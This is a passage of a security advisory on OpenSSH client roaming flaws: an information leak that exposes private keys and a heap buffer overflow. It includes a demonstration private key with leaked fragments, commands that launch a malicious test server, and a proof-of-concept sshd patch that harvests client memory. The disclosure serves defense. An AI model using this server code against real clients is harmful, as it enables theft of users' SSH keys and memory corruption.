IuQL R2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9v
strings /tmp/roaming-24011739/infoleak
KjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC
strings /tmp/roaming-37456846/infoleak
LsBlstpuQ4Hr2DHmalL8X iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA yq4Kwj/
strings /tmp/roaming-988ff54c/infoleak
GBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/
strings /tmp/roaming-53887fa5/infoleak
/4oatxFUV5V8aniqyq4Kwj/ QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS F9AoVoZFKEGn4FEoYIqY3a4
Private Key Disclosure example: Fedora 20, 2048-bit RSA key
$ grep PRETTY_NAME= /etc/os-release PRETTY_NAME="Fedora 20 (Heisenbug)"
$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz HLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp o9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ /B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy 2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o 6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06 Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr Hiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo /euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa jwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y 3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm qK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5 r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+ ZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU= -----END RSA PRIVATE KEY-----
env ROAMING="heap_massaging:linux" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1 ...
strings /tmp/roaming-a2bbc5f6/infoleak
cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG
strings /tmp/roaming-47b46456/infoleak
RGAcE0nc GCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o 6GEmk/oB9
strings /tmp/roaming-7a6717ae/infoleak
cawMW4LZ1 Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p
strings /tmp/roaming-f3091f08/infoleak
lZ3w0qHe nSolsDs2k8wHbVP4VtLE8l PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ
strings /tmp/roaming-62a9e9a3/infoleak
lZ3w0qHe r3TwTa0pPEk11 LbcsTEJ rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo /euhzdYixxIkfqyopnYFoER26u37/OHe37P
strings /tmp/roaming-8de31ed5/infoleak
7qyvNznQ 26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa
strings /tmp/roaming-f5e0fbcc/infoleak
yESI62wOuaY vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y 3fBC3h9BN5banCw6VKfnvm8/q+bwSxS
strings /tmp/roaming-9be933df/infoleak
QRtzK/GpRuMC1 C3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT
strings /tmp/roaming-ee4d1e6c/infoleak
SG3aTqYp tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s
strings /tmp/roaming-c2bfd69c/infoleak
SG3aTqYp 6JmTOun5zVV6A H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s
strings /tmp/roaming-2b3217a1/infoleak
DGLfFGdO r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ
strings /tmp/roaming-1e275747/infoleak
g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+
======================================================================== Buffer Overflow (CVE-2016-0778) ========================================================================
Analysis
Support for roaming was elegantly added to the OpenSSH client: the calls to read() and write() that communicate with the SSH server were replaced by calls to roaming_read() and roaming_write(), two wrappers that depend on wait_for_roaming_reconnect() to transparently reconnect to the server after a disconnection. The wait_for_roaming_reconnect() routine is essentially a sequence of four subroutines:
239 int 240 wait_for_roaming_reconnect(void) 241 { ... 250 fprintf(stderr, "[connection suspended, press return to resume]"); ... 252 packet_backup_state(); 253 / TODO Perhaps we should read from tty here / 254 while ((c = fgetc(stdin)) != EOF) { ... 259 if (c != '\n' && c != '\r') 260 continue; 261 262 if (ssh_connect(host, &hostaddr, options.port, ... 265 options.proxy_command) == 0 && roaming_resume() == 0) { 266 packet_restore_state(); ... 268 fprintf(stderr, "[connection resumed]\n"); ... 270 return 0; 271 } 272 273 fprintf(stderr, "[reconnect failed, press return to retry]"); ... 275 } 276 fprintf(stderr, "[exiting]\n"); ... 278 exit(0); 279 }
-
packet_backup_state() close()s connection_in and connection_out (the old file descriptors that connected the client to the server), and saves the state of the suspended SSH session (for example, the encryption and decryption contexts).
-
ssh_connect() opens new file descriptors, and connects them to the SSH server.
-
roaming_resume() negotiates the resumption of the suspended SSH session with the server, and calls resend_bytes().
-
packet_restore_state() updates connection_in and connection_out (with the new file descriptors that connect the client to the server), and restores the state of the suspended SSH session.
The new file descriptors for connection_in and connection_out may differ from the old ones (if, for example, files or pipes or sockets are opened or closed between two successive ssh_connect() calls), but unfortunately historical code in OpenSSH assumes that they are constant:
-
In client_loop(), the variables connection_in and connection_out are cached locally, but packet_write_poll() calls roaming_write(), which may assign new values to connection_in and connection_out (if a reconnection occurs), and client_wait_until_can_do_something() subsequently reuses the old, cached values.
-
client_loop() eventually updates these cached values, and the following FD_ISSET() uses a new, updated file descriptor (the fd connection_out), but an old, out-of-date file descriptor set (the fd_set writeset).
-
packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API) first calloc()ates setp, a file descriptor set for connection_in; next, it loops around memset(), FD_SET(), select() and roaming_read(); last, it free()s setp and returns. Unfortunately, roaming_read() may reassign a higher value to connection_in (if a reconnection occurs), but setp is never enlarged, and the following memset() and FD_SET() may therefore overflow setp (a heap-based buffer overflow):
1048 int 1049 packet_read_seqnr(u_int32_t seqnr_p) 1050 { .... 1052 fd_set setp; .... 1058 setp = (fd_set )xcalloc(howmany(active_state->connection_in + 1, 1059 NFDBITS), sizeof(fd_mask)); .... 1065 for (;;) { .... 1075 if (type != SSH_MSG_NONE) { 1076 free(setp); 1077 return type; 1078 } .... 1083 memset(setp, 0, howmany(active_state->connection_in + 1, 1084 NFDBITS) * sizeof(fd_mask)); 1085 FD_SET(active_state->connection_in, setp); .... 1092 for (;;) { .... 1097 if ((ret = select(active_state->connection_in + 1, setp, 1098 NULL, NULL, timeoutp)) >= 0) 1099 break; .... 1115 } .... 1117 do { .... 1119 len = roaming_read(active_state->connection_in, buf, 1120 sizeof(buf), &cont); 1121 } while (len == 0 && cont); .... 1130 } 1131 / NOTREACHED */ 1132 }
- packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is basically similar to packet_read_seqnr() and may overflow its own setp if roaming_write() (called by packet_write_poll()) reassigns a higher value to connection_out (after a successful reconnection):
1739 void 1740 packet_write_wait(void) 1741 { 1742 fd_set setp; .... 1746 setp = (fd_set )xcalloc(howmany(active_state->connection_out + 1, 1747 NFDBITS), sizeof(fd_mask)); 1748 packet_write_poll(); 1749 while (packet_have_data_to_write()) { 1750 memset(setp, 0, howmany(active_state->connection_out + 1, 1751 NFDBITS) * sizeof(fd_mask)); 1752 FD_SET(active_state->connection_out, setp); .... 1758 for (;;) { .... 1763 if ((ret = select(active_state->connection_out + 1, 1764 NULL, setp, NULL, timeoutp)) >= 0) 1765 break; .... 1776 } .... 1782 packet_write_poll(); 1783 } 1784 free(setp); 1785 }
Mitigating Factors
This buffer overflow affects all OpenSSH clients >= 5.4, but its impact is significantly reduced by the Mitigating Factors detailed in the Information Leak section, and additionally:
- OpenSSH versions >= 6.8 reimplement packet_backup_state() and packet_restore_state(), but introduce a bug that prevents the buffer overflow from being exploited; indeed, ssh_packet_backup_state() swaps two local pointers, ssh and backup_state, instead of swapping the two global pointers active_state and backup_state:
9 struct ssh active_state, backup_state; ... 238 void 239 packet_backup_state(void) 240 { 241 ssh_packet_backup_state(active_state, backup_state); 242 } 243 244 void 245 packet_restore_state(void) 246 { 247 ssh_packet_restore_state(active_state, backup_state); 248 }
2269 void 2270 ssh_packet_backup_state(struct ssh ssh, 2271 struct ssh backup_state) 2272 { 2273 struct ssh tmp; .... 2279 if (backup_state) 2280 tmp = backup_state; 2281 else 2282 tmp = ssh_alloc_session_state(); 2283 backup_state = ssh; 2284 ssh = tmp; 2285 } .... 2291 void 2292 ssh_packet_restore_state(struct ssh ssh, 2293 struct ssh backup_state) 2294 { 2295 struct ssh tmp; .... 2299 tmp = backup_state; 2300 backup_state = ssh; 2301 ssh = tmp; 2302 ssh->state->connection_in = backup_state->state->connection_in;
As a result, the global pointer backup_state is still NULL when passed to ssh_packet_restore_state(), and crashes the OpenSSH client when dereferenced:
env ROAMING="overflow:A fd_leaks:0" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -V OpenSSH_6.8, LibreSSL 2.1
$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 15 %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]Segmentation fault (core dumped)
This bug prevents the buffer overflow from being exploited, but not the information leak, because the vulnerable function resend_bytes() is called before ssh_packet_restore_state() crashes.
File Descriptor Leak
A back-of-the-envelope calculation indicates that, in order to increase the file descriptor connection_in or connection_out, and thus overflow the file descriptor set setp in packet_read_seqnr() or packet_write_wait(), a file descriptor leak is needed:
-
First, the number of bytes calloc()ated for setp is rounded up to the nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors) on 64-bit systems.
-
Next, in glibc, this number is rounded up to the nearest multiple of MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit systems.
-
Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit systems, of which 24 bytes (or 192 file descriptors) are reserved for setp.
-
In conclusion, a file descriptor leak is needed, because connection_in or connection_out has to be increased by hundreds in order to overflow setp.
The search for a suitable file descriptor leak begins with a study of the behavior of the four ssh_connect() methods, when called for a reconnection by wait_for_roaming_reconnect():
- The default method ssh_connect_direct() communicates with the server through a simple TCP socket: the two file descriptors connection_in and connection_out are both equal to this socket's file descriptor.
In wait_for_roaming_reconnect(), the low-numbered file descriptor of the old TCP socket is close()d by packet_backup_state(), but immediately reused for the new TCP socket in ssh_connect_direct(): the new file descriptors connection_in and connection_out are equal to this old, low-numbered file descriptor, and cannot possibly overflow setp.
-
The special ProxyCommand "-" communicates with the server through stdin and stdout, but (as explained in the Mitigating Factors of the Information Leak section) it cannot possibly reconnect to the server, and is therefore immune to this buffer overflow.
-
Surprisingly, we discovered a file descriptor leak in the ssh_proxy_fdpass_connect() method itself; indeed, the file descriptor sp[1] is never close()d:
101 static int 102 ssh_proxy_fdpass_connect(const char host, u_short port, 103 const char proxy_command) 104 { ... 106 int sp[2], sock; ... 113 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) < 0) 114 fatal("Could not create socketpair to communicate with " 115 "proxy dialer: %.100s", strerror(errno)); ... 161 close(sp[0]); ... 164 if ((sock = mm_receive_fd(sp[1])) == -1) 165 fatal("proxy dialer did not pass back a connection"); ... 171 / Set the connection file descriptors. / 172 packet_set_connection(sock, sock); 173 174 return 0; 175 }
However, two different reasons prevent this file descriptor leak from triggering the setp overflow:
- The method ssh_proxy_fdpass_connect() communicates with the server through a single socket received from the ProxyCommand: the two file descriptors connection_in and connection_out are both equal to this socket's file descriptor.
In wait_for_roaming_reconnect(), the low-numbered file descriptor of the old socket is close()d by packet_backup_state(), reused for sp[0] in ssh_proxy_fdpass_connect(), close()d again, and eventually reused again for the new socket: the new file descriptors connection_in and connection_out are equal to this old, low-numbered file descriptor, and cannot possibly overflow setp.
-
Because of the waitpid() bug described in the Mitigating Factors of the Information Leak section, the method ssh_proxy_fdpass_connect() calls fatal() before it returns to wait_for_roaming_reconnect(), and is therefore immune to this buffer overflow.
-
The method ssh_proxy_connect() communicates with the server through a ProxyCommand and two different pipes: the file descriptor connection_in is the read end of the second pipe (pout[0]), and the file descriptor connection_out is the write end of the first pipe (pin[1]):
180 static int 181 ssh_proxy_connect(const char host, u_short port, const char proxy_command) 182 { ... 184 int pin[2], pout[2]; ... 192 if (pipe(pin) < 0 || pipe(pout) < 0) 193 fatal("Could not create pipes to communicate with the proxy: %.100s", 194 strerror(errno)); ... 240 / Close child side of the descriptors. / 241 close(pin[0]); 242 close(pout[1]); ... 247 / Set the connection file descriptors. / 248 packet_set_connection(pout[0], pin[1]); 249 250 / Indicate OK return / 251 return 0; 252 }
In wait_for_roaming_reconnect(), the two old, low-numbered file descriptors connection_in and connection_out are both close()d by packet_backup_state(), and immediately reused for the pipe(pin) in ssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of these old, low-numbered file descriptors, and cannot possibly overflow setp.
On the other hand, the pipe(pout) in ssh_proxy_connect() may return high-numbered file descriptors, and the new connection_in (pout[0]) may therefore overflow setp, if hundreds of file descriptors were leaked before the call to wait_for_roaming_reconnect():
- We discovered a file descriptor leak in the pubkey_prepare() function of OpenSSH >= 6.8; indeed, if the client is running an authentication agent that does not offer any private keys, the reference to agent_fd is lost, and this file descriptor is never close()d:
1194 static void 1195 pubkey_prepare(Authctxt *authctxt) 1196 { .... 1200 int agent_fd, i, r, found; .... 1247 if ((r = ssh_get_authentication_socket(&agent_fd)) != 0) { 1248 if (r != SSH_ERR_AGENT_NOT_PRESENT) 1249 debug("%s: ssh_get_authentication_socket: %s", 1250 func, ssh_err(r)); 1251 } else if ((r = ssh_fetch_identitylist(agent_fd, 2, &idlist)) != 0) { 1252 if (r != SSH_ERR_AGENT_NO_IDENTITIES) 1253 debug("%s: ssh_fetch_identitylist: %s", 1254 func, ssh_err(r)); 1255 } else { .... 1288 authctxt->agent_fd = agent_fd; 1289 } .... 1299 }
However, OpenSSH clients >= 6.8 crash in ssh_packet_restore_state() (because of the NULL-pointer dereference discussed in the Mitigating Factors of the Buffer Overflow section) and are immune to the setp overflow, despite this agent_fd leak.
- If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH client (it is disabled by default), a malicious SSH server can request hundreds of forwardings, in order to increase connection_in (each forwarding opens a file descriptor), and thus overflow setp in packet_read_seqnr():
env ROAMING="overflow:A" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -V OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014
$ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] *** Error in `/usr/bin/ssh': free(): invalid next size (fast): 0x00007f0474d03e70 *** Aborted (core dumped)
env ROAMING="overflow:X" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
$ /usr/bin/ssh -X -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]
*** Error in /usr/bin/ssh': free(): invalid next size (fast): 0x00007fdcc2a3aba0 ***
*** Error in/usr/bin/ssh': malloc(): memory corruption: 0x00007fdcc2a3abc0 ***
Finally, a brief digression on two unexpected problems that had to be solved in our proof-of-concept:
-
First, setp can be overflowed only in packet_read_seqnr(), not in packet_write_wait(), but agent forwarding and X11 forwarding are post- authentication functionalities, and post-authentication calls to packet_read() or packet_read_expect() are scarce, except in the key-exchange code of OpenSSH clients < 6.8: our proof-of-concept effectively forces a rekeying in order to overflow setp in packet_read_seqnr().
-
Second, after a successful reconnection, packet_read_seqnr() may call fatal("Read from socket failed: %.100s", ...), because roaming_read() may return EAGAIN (EAGAIN is never returned without the reconnection, because the preceding call to select() guarantees that connection_in is ready for read()). Our proof-of-concept works around this problem by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server, allowing data to reach the client before roaming_read() is called, thus avoiding EAGAIN.
======================================================================== Acknowledgments ========================================================================
We would like to thank the OpenSSH developers for their great work and their incredibly quick response, Red Hat Product Security for promptly assigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall Project for the interesting discussions.
======================================================================== Proof Of Concept ========================================================================
diff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c --- openssh-6.4p1/auth2-pubkey.c 2013-07-17 23:10:10.000000000 -0700 +++ openssh-6.4p1+roaming/auth2-pubkey.c 2016-01-07 01:04:15.000000000 -0800 @@ -169,7 +169,9 @@ userauth_pubkey(Authctxt authctxt) * if a user is not allowed to login. is this an * issue? -markus / - if (PRIVSEP(user_key_allowed(authctxt->pw, key))) { + if (PRIVSEP(user_key_allowed(authctxt->pw, key)) || 1) { + debug("%s: force client-side load_identity_file", + func); packet_start(SSH2_MSG_USERAUTH_PK_OK); packet_put_string(pkalg, alen); packet_put_string(pkblob, blen); diff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c --- openssh-6.4p1/kex.c 2013-06-01 14:31:18.000000000 -0700 +++ openssh-6.4p1+roaming/kex.c 2016-01-07 01:04:15.000000000 -0800 @@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX], }
static void +roaming_reconnect(void) +{ + packet_read_expect(SSH2_MSG_KEX_ROAMING_RESUME); + const u_int id = packet_get_int(); / roaming_id / + debug("%s: id %u", func, id); + packet_check_eom(); + + const char const dir = get_roaming_dir(id); + debug("%s: dir %s", func, dir); + const int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK); + if (fd <= -1) + fatal("%s: open %s errno %d", func, dir, errno); + if (fchdir(fd) != 0) + fatal("%s: fchdir %s errno %d", func, dir, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, dir, errno); + + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED); + packet_put_int64(arc4random()); / chall / + packet_put_int64(arc4random()); / oldchall / + packet_send(); + + packet_read_expect(SSH2_MSG_KEX_ROAMING_AUTH); + const u_int64_t client_read_bytes = packet_get_int64(); + debug("%s: client_read_bytes %llu", func, + (unsigned long long)client_read_bytes); + packet_get_int64(); / digest (1-8) / + packet_get_int64(); / digest (9-16) / + packet_get_int(); / digest (17-20) / + packet_check_eom(); + + u_int64_t client_write_bytes; + size_t len = sizeof(client_write_bytes); + load_roaming_file("client_write_bytes", &client_write_bytes, &len); + debug("%s: client_write_bytes %llu", func, + (unsigned long long)client_write_bytes); + + u_int client_out_buf_size; + len = sizeof(client_out_buf_size); + load_roaming_file("client_out_buf_size", &client_out_buf_size, &len); + debug("%s: client_out_buf_size %u", func, client_out_buf_size); + if (client_out_buf_size <= 0 || client_out_buf_size > MAX_ROAMBUF) + fatal("%s: client_out_buf_size %u", func, + client_out_buf_size); + + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_OK); + packet_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size); + packet_send(); + const int overflow = (access("output", F_OK) == 0); + if (overflow != 0) { + const void const ptr = load_roaming_file("output", NULL, &len); + buffer_append(packet_get_output(), ptr, len); + } + packet_write_wait(); + + char const client_out_buf = xmalloc(client_out_buf_size); + if (atomicio(read, packet_get_connection_in(), client_out_buf, + client_out_buf_size) != client_out_buf_size) + fatal("%s: read client_out_buf_size %u errno %d", func, + client_out_buf_size, errno); + if (overflow == 0) + dump_roaming_file("infoleak", client_out_buf, + client_out_buf_size); + fatal("%s: all done for %s", func, dir); +} + +static void kex_choose_conf(Kex kex) { Newkeys newkeys; @@ -470,6 +537,10 @@ kex_choose_conf(Kex kex) kex->roaming = 1; free(roaming); } + } else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) { + roaming_reconnect(); + / NOTREACHED / + fatal("%s: returned from %s", func, KEX_RESUME); }
/* Algorithm Negotiation */
diff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h --- openssh-6.4p1/roaming.h 2011-12-18 15:52:52.000000000 -0800 +++ openssh-6.4p1+roaming/roaming.h 2016-01-07 01:04:15.000000000 -0800 @@ -42,4 +42,86 @@ void resend_bytes(int, u_int64_t ); void calculate_new_key(u_int64_t , u_int64_t, u_int64_t); int resume_kex(void);
+#include +#include +#include +#include +#include +#include + +#include "atomicio.h" +#include "log.h" +#include "xmalloc.h" + +static inline char * +get_roaming_dir(const u_int id) +{ + const size_t buflen = MAXPATHLEN; + char const buf = xmalloc(buflen); + + if ((u_int)snprintf(buf, buflen, "/tmp/roaming-%08x", id) >= buflen) + fatal("%s: snprintf %u error", func, id); + return buf; +} + +static inline void +dump_roaming_file(const char const name, + const void const buf, const size_t buflen) +{ + if (name == NULL) + fatal("%s: name %p", func, name); + if (strchr(name, '/') != NULL) + fatal("%s: name %s", func, name); + if (buf == NULL) + fatal("%s: %s buf %p", func, name, buf); + if (buflen <= 0 || buflen > MAX_ROAMBUF) + fatal("%s: %s buflen %lu", func, name, (u_long)buflen); + + const int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR); + if (fd <= -1) + fatal("%s: open %s errno %d", func, name, errno); + if (write(fd, buf, buflen) != (ssize_t)buflen) + fatal("%s: write %s errno %d", func, name, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, name, errno); +} + +static inline void * +load_roaming_file(const char const name, + void buf, size_t const buflenp) +{ + if (name == NULL) + fatal("%s: name %p", func, name); + if (strchr(name, '/') != NULL) + fatal("%s: name %s", func, name); + if (buflenp == NULL) + fatal("%s: %s buflenp %p", func, name, buflenp); + + const int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK); + if (fd <= -1) + fatal("%s: open %s errno %d", func, name, errno); + struct stat st; + if (fstat(fd, &st) != 0) + fatal("%s: fstat %s errno %d", func, name, errno); + if (S_ISREG(st.st_mode) == 0) + fatal("%s: %s mode 0%o", func, name, (u_int)st.st_mode); + if (st.st_size <= 0 || st.st_size > MAX_ROAMBUF) + fatal("%s: %s size %lld", func, name, + (long long)st.st_size); + + if (buf == NULL) { + buflenp = st.st_size; + buf = xmalloc(buflenp); + } else { + if (buflenp != (size_t)st.st_size) + fatal("%s: %s size %lld buflen %lu", func, name, + (long long)st.st_size, (u_long)buflenp); + } + if (read(fd, buf, buflenp) != (ssize_t)buflenp) + fatal("%s: read %s errno %d", func, name, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, name, errno); + return buf; +} + #endif / ROAMING / diff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c --- openssh-6.4p1/serverloop.c 2013-07-17 23:12:45.000000000 -0700 +++ openssh-6.4p1+roaming/serverloop.c 2016-01-07 01:04:15.000000000 -0800 @@ -1060,6 +1060,9 @@ server_request_session(void) return c; }
+static int client_session_channel = -1; +static int server_session_channel = -1; + static void server_input_channel_open(int type, u_int32_t seq, void ctxt) { @@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in c->remote_window = rwindow; c->remote_maxpacket = rmaxpack; if (c->type != SSH_CHANNEL_CONNECTING) { + debug("%s: avoid client-side buf_append", func); + / packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); packet_put_int(c->remote_id); packet_put_int(c->self); packet_put_int(c->local_window); packet_put_int(c->local_maxpacket); packet_send(); + */ + if (strcmp(ctype, "session") == 0) { + if (client_session_channel != -1) + fatal("%s: client_session_channel %d", + func, client_session_channel); + client_session_channel = c->remote_id; + server_session_channel = c->self; + } } } else { debug("server_input_channel_open: failure %s", ctype); @@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in }
static void +roaming_disconnect(Kex const kex) +{ + const char cp, roaming = getenv("ROAMING"); + if (roaming == NULL) + roaming = "infoleak"; + int overflow = 0; + if ((cp = strstr(roaming, "overflow:")) != NULL) + overflow = cp[9]; + + const u_int client_recv_buf_size = packet_get_int(); + packet_check_eom(); + const u_int server_recv_buf_size = get_recv_buf_size(); + const u_int server_send_buf_size = get_snd_buf_size(); + debug("%s: client_recv_buf_size %u", func, client_recv_buf_size); + debug("%s: server_recv_buf_size %u", func, server_recv_buf_size); + debug("%s: server_send_buf_size %u", func, server_send_buf_size); + + u_int client_send_buf_size = 0; + if ((cp = strstr(roaming, "client_send_buf_size:")) != NULL) + client_send_buf_size = strtoul(cp + 21, NULL, 0); + else if (client_recv_buf_size == DEFAULT_ROAMBUF) + client_send_buf_size = DEFAULT_ROAMBUF; + else { + const u_int + max = MAX(client_recv_buf_size, server_recv_buf_size), + min = MIN(client_recv_buf_size, server_recv_buf_size); + if (min <= 0) + fatal("%s: min %u", func, min); + if (((u_int64_t)(max - min) * 1024) / min < 1) + client_send_buf_size = server_send_buf_size; + else + client_send_buf_size = client_recv_buf_size; + } + debug("%s: client_send_buf_size %u", func, client_send_buf_size); + if (client_send_buf_size <= 0) + fatal("%s: client_send_buf_size", func); + + u_int id = 0; + char dir = NULL; + for (;;) { + id = arc4random(); + debug("%s: id %u", func, id); + free(dir); + dir = get_roaming_dir(id); + if (mkdir(dir, S_IRWXU) == 0) + 